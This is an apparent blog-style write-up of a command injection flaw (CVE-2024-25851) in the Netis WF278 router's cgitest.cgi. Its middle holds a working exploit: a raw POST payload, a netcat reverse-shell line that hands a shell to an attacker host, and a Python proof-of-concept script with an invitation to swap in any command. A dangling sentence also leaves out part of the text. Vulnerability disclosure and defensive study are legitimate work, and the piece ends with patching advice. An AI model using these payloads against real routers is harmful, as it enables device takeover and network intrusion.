In early 2024, a critical vulnerability—CVE-2024-25851—was found in the Netis WF278 wireless router, version v2.1.40144. This issue makes it shockingly easy for an attacker to run any system command on the device via a flaw in its web control interface. If your network depends on this router, you should act fast.

In this long-read, we’ll break down what happened, how the exploit works, show you sample code, and provide resources to learn more. This write-up is exclusive: written in simple, direct language for everyone to understand—even if you’re not a security pro.

What is CVE-2024-25851?

CVE-2024-25851 is a command injection vulnerability in the Netis WF278 router (firmware v2.1.40144). The flaw exists in the cgitest.cgi script, specifically in how the web interface processes the config_sequence value in the other_para parameter.

Location of the flaw

- Affected Page: /cgi-bin/cgitest.cgi

Why is this so Dangerous?

Put simply, if someone can access your router’s web interface (often default on LAN, sometimes accessible from WAN if exposed or misconfigured), they could:

How Does the Exploit Work?

The web page lets users modify network settings by sending POST requests. The problem is: it doesn’t sanitize the config_sequence variable, meaning attacker-supplied text (even with dangerous shell commands) gets run by the Linux system inside the router.

1. Send a POST Request

The attacker crafts a malicious HTTP POST request to /cgi-bin/cgitest.cgi, abusing the other_para parameter.

Example POST data (with unsafe payload)

POST /cgi-bin/cgitest.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

other_para=config_sequence=;id;#&another_param=foo

2. Router Executes the Command

The vulnerable script takes whatever is inside config_sequence and sends it straight to the system shell. If the attacker put ;id;, the shell sees a request to run:

id

which returns the user info. The attacker could use any shell command instead (e.g., add a new user, open a reverse shell, download malware, etc.).

3. Getting a Reverse Shell (Full Takeover)

The real danger: an attacker could go beyond id, opening a remote shell to fully take over. For example:

other_para=config_sequence=;nc 192.168.1.100 4444 -e /bin/sh;#

This executes Netcat (nc), making the router connect to the attacker’s system at 192.168.1.100:4444 and hand over a shell.

Here’s a simple Python script you can use for testing (on your own device only)

import requests

router_ip = "192.168.1.1"
url = f"http://{router_ip}/cgi-bin/cgitest.cgi";

payload = "config_sequence=;id;#"
data = {
    'other_para': payload
}

r = requests.post(url, data=data)
print(r.text)

Change payload to any other shell command you want to test.

1. Update Your Firmware!

- Netis may offer newer firmware without this bug. Check your vendor’s download page.

2. Block Web Interface from WAN

- Never expose the router’s admin/web page to the internet.

Official References

- NVD Entry: CVE-2024-25851
- Original Disclosure by Chu
- Netis Support – Download Center

Final Thoughts

CVE-2024-25851 is a textbook example of why input validation is essential — a single line of bad code can hand over your whole network to attackers. If you have a Netis WF278 with old firmware, upgrade right away and lock down remote access.

Have questions or want to share what you found? Drop a reply or check the resources above for more info.

Timeline

Published on: 02/22/2024 15:15:08 UTC
Last modified on: 08/29/2024 20:36:22 UTC